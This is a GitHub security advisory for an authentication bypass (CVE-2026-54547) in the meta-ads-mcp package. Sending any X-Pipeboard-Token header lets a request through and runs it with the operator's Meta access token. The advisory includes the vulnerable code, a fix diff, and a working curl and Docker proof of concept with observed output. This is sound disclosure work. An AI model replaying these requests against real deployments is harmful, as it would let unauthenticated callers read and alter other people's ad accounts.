GitHub Advisoryadvisory · PyPI
GHSA-2v2f-mvfg-ph56 meta-ads-mcp: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token
HIGH
Official page ↗
- Aliases
- CVE-2026-54547
- Ecosystem
- PyPI
- Packages
- meta-ads-mcp
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-287
- Reviewed
- 2026-07-17
Affected packages
• PyPI meta-ads-mcp: < 1.0.115 → fixed in 1.0.115
Description
X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token
Summary
`AuthInjectionMiddleware` in `meta-ads-mcp` rejects HTTP MCP requests only when both `auth_token` and `pipeboard_token` are absent. Because `extract_token_from_headers()` does not recognise the `X-Pipeboard-Token` header, an attacker who sends that header with any arbitrary value produces `auth_token = None` and `pipeboard_token = `, making the guard condition evaluate to `False` and passing the request through. No authentication context is set; the token getter falls back to the server operator's `META_ACCESS_TOKEN` environment variable. Every subsequent MCP tool call executes with the operator's Meta credentials, allowing an unauthenticated network caller to read and write the operator's Meta Ads data.
Details
The vulnerable condition is at `meta_ads_mcp/core/http_auth_integration.py:259`:
```python
http_auth_integration.py:255-260
auth_token = FastMCPAuthIntegration.extract_token_from_headers(dict(request.headers))
pipeboard_token = FastMCPAuthIntegration.extract_pipeboard_token_from_headers(dict(request.headers))
if not auth_token and not pipeboard_token: # ← bypass condition
return Response(..., status_code=401)
```
`extract_token_from_headers()` (lines 77–95) recognises only `Authorization: Bearer`, `X-META-ACCESS-TOKEN`, and `X-PIPEBOARD-API-TOKEN`. It does not recognise `X-Pipeboard-Token`, so that header never populates `auth_token`.
`extract_pipeboard_token_from_headers()` (line 108) does recognise `X-Pipeboard-Token`, so sending that header alone produces:
```
auth_token = None # not set → guard reads False for left operand
pipeboard_token = "" # truthy → guard reads False for right operand
→ (not None) and (not "") = True and False = False → 401 never returned
```
After the bypass, `set_auth_token()` is never called (lines 283–291 only run when `auth_token` is truthy). The patched token getter at lines 163–168 resolves `get_auth_token() = None`, then delegates to `original_get_current_access_token()`. The fallback chain in `auth.py:446–453` returns `META_ACCESS_TOKEN` from the server environment:
```python
auth.py:443-453
env_token = os.environ.get("META_ACCESS_TOKEN")
if env_token:
return env_token
```
`@meta_api_tool` at `api.py:390–396` injects this operator token into every tool's `access_token` kwarg. The sink at `api.py:225–235` forwards it to the Meta Graph API via `httpx.AsyncClient`. Verified with `accounts.py:42–62` (`get_ad_accounts`): the operator's ad account data is returned for valid tokens; for invalid tokens the Meta Graph API responds with an `OAuthException`, confirming the token traversed the full path.
Full data flow:
| Step | Location | Description |
|------|----------|-------------|
| 1 | `http_auth_integration.py:255–257` | Middleware extracts attacker-controlled headers |
| 2 | `http_auth_integration.py:259` | Bypass: `X-Pipeboard-Token` alone satisfies guard |
| 3 | `http_auth_integration.py:288–291` | `auth_token` is `None`; auth context never set |
| 4 | `http_auth_integration.py:163–168` | Token getter falls back to original accessor |
| 5 | `auth.py:446–453` | `META_ACCESS_TOKEN` env var returned as access token |
| 6 | `api.py:390–396` | Operator token injected into tool kwargs |
| 7 | `accounts.py:42–62` | Tool invokes Meta Graph API with operator token |
| 8 | `api.py:225–235` | `httpx.AsyncClient` sends privileged HTTP request |
Recommended fix:
```diff
--- a/meta_ads_mcp/core/http_auth_integration.py
+++ b/meta_ads_mcp/core/http_auth_integration.py
• if not auth_token and not pipeboard_token:
+ if not auth_token:
```
`X-Pipeboard-Token` should be treated as a supplementary service token only; it must not serve as a standalone authentication credential for MCP tool calls.
PoC
Prerequisites
• Docker installed and the `meta-ads-mcp` repository available locally.
• The server must be started in `streamable-http` mode (documented in `STREAMABLE_HTTP_SETUP.md` as a supported production deployment).
Step 1 — Build the Docker image
```bash
docker build \
-t vuln001-meta-ads-mcp \
-f /path/to/vuln-001/Dockerfile \
/path/to/meta-ads-mcp-repo/
```
The `Dockerfile` installs the package from source, sets `META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890`, and starts the server on port 8080.
Step 2 — Run the container
```bash
docker run -d -p 8081:8080 --name vuln001-test vuln001-meta-ads-mcp
```
Step 3 — Confirm the middleware is active (no-auth → 401)
```bash
curl -i -X POST http://127.0.0.1:8081/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
Expected: HTTP/1.1 401 {"error":"Unauthorized",...}
```
Step 4 — Trigger the bypass (X-Pipeboard-Token only → 200)
```bash
curl -i -X POST http://127.0.0.1:8081/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
Expected: HTTP/1.1 200 {"jsonrpc":"2.0","result":{"tools":[...]}} (37 tools listed)
```
Step 5 — Confirm operator token is forwarded to Meta Graph API
```bash
curl -i -X POST http://127.0.0.1:8081/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_ad_accounts","arguments":{"limit":1}}}'
Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE_OPERATOR_META_TOKEN
was forwarded to Meta. With a real operator token, ad account data is returned.
```
Automated PoC script
```bash
python3 /path/to/vuln-001/poc.py http://127.0.0.1:8081/mcp
```
The script performs Tests 1–3 and prints `RESULT: PASS — VULN-001 reproduced` on success.
Observed output (dynamic reproduction)
```
Test 1 (no auth header) → HTTP 401 {"error":"Unauthorized",...}
Test 2 (X-Pipeboard-Token only) → HTTP 200 {"jsonrpc":"2.0","result":{"tools":[...]}} (37 tools)
Test 3 (tools/call, same header)→ HTTP 200 {"error":{"message":"Invalid OAuth access token data.","type":"OAuthException","code":190}}
```
Test 3 confirms that `FAKE_OPERATOR_META_TOKEN` was sent to Meta Graph API, proving the full operator-token reuse path.
Impact
This is an authentication bypass vulnerability. Any network-reachable caller that can send an HTTP request with an arbitrary `X-Pipeboard-Token` header can:
• Read all Meta Ads data accessible to the server operator (ad accounts, campaigns, creatives, audiences, insights).
• Write Meta Ads resources (create/update campaigns, ads, budgets) as the operator.
• Exfiltrate the operator's identity via Meta Graph API error responses that reference the token.
Operators who deploy `meta-ads-mcp` in `--transport streamable-http` mode with `META_ACCESS_TOKEN` configured — the documented and recommended production setup — are directly affected. Deployments using the default `stdio` transport or those without `META_ACCESS_TOKEN` set are not affected.
Reproduction artifacts
`Dockerfile`
```dockerfile
VULN-001 PoC: X-Pipeboard-Token Auth Bypass (CWE-287)
Runs meta-ads-mcp in streamable-http mode with a fake operator META_ACCESS_TOKEN.
The server enforces auth via AuthInjectionMiddleware, but the bypass allows
X-Pipeboard-Token alone to pass the middleware and reach tool handlers,
which then fall back to the operator's META_ACCESS_TOKEN.
FROM python:3.11-slim
WORKDIR /app
Install system dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
curl \
&& rm -rf /var/lib/apt/lists/*
Copy repository source (build context must be the repo root)
COPY . /app
Install the package and its dependencies
RUN pip inst…
Related
Alias · CVE (1)
- CVE-2026-54547 Meta Ads MCP is a Model Context Protocol (MCP) server that lets AI assistants run Meta Ads. vulnerability
Weakness · CWE (1)
- CWE-287 Improper Authentication weakness